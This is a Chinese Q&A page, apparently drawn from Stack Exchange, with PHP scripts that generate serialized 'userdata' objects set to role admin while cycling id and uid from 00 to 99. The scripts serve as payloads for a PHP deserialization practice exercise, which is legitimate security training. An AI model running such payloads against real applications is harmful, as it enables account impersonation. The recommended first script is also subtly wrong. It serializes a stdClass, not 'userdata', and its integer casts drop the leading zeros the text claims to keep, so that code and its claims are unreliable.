You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PHP序列化字符串生成:实现id与uid两位循环递增的脚本需求

修正PHP反序列化字符串生成脚本:实现id与uid独立循环

问题背景

在PHP反序列化专项练习中,Web应用会反序列化userdata对象,将其中的id和uid字段拼接为4位字符串返回(例如序列化字符串O:8:"userdata":3:{s:4:"role";s:5:"admin";s:2:"id";i:21;s:3:"uid";i:32;}会返回welcome admin 2132)。需要生成id(两位,00-99)循环,每个id对应uid(两位,00-99)循环的序列化字符串,但原四层循环脚本将id和uid设为相同的4位数值,无法满足需求。

修正后的脚本

用两层循环即可实现id与uid的独立遍历,以下是两种实现方式:

方式1:通过对象序列化(推荐,避免手动拼接错误)

<?php
// 外层遍历id:00到99
for ($id = 0; $id <= 99; $id++) {
    $formattedId = sprintf("%02d", $id); // 格式化为两位数字,补前导零
    // 内层遍历uid:每个id对应00到99的uid
    for ($uid = 0; $uid <= 99; $uid++) {
        $formattedUid = sprintf("%02d", $uid);
        // 构造userdata对象
        $userdata = new stdClass();
        $userdata->role = 'admin';
        $userdata->id = (int)$formattedId;
        $userdata->uid = (int)$formattedUid;
        // 序列化并输出
        echo serialize($userdata) . PHP_EOL;
    }
}
?>

方式2:手动拼接序列化字符串(适合练习手动构造)

如果需要手动拼接序列化内容(模拟漏洞场景下的手动构造),可以用下面的代码,注意字符长度必须准确:

<?php
for ($id = 0; $id <= 99; $id++) {
    $formattedId = sprintf("%02d", $id);
    for ($uid = 0; $uid <= 99; $uid++) {
        $formattedUid = sprintf("%02d", $uid);
        // 手动拼接序列化字符串,注意每个字符串的长度要匹配
        $serialized = 'O:8:"userdata":3:{s:4:"role";s:5:"admin";s:2:"id";i:' . $formattedId . ';s:3:"uid";i:' . $formattedUid . ';}';
        echo $serialized . PHP_EOL;
    }
}
?>

关键修正点

  • 放弃四层循环,改用两层嵌套循环:外层控制id的遍历,内层控制每个id对应的uid遍历,实现两者独立循环。
  • 使用sprintf("%02d", $num)确保数字格式化为两位,自动补前导零(比如数字5会变成"05",满足两位的要求)。
  • 推荐用对象序列化的方式,避免手动拼接序列化字符串时容易出现的字符长度错误(比如"role"的长度是4,"admin"的长度是5,这些数值必须和实际字符串长度一致,否则反序列化会失败)。

内容的提问来源于stack exchange,提问作者WorldPixel

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.19 14:35:19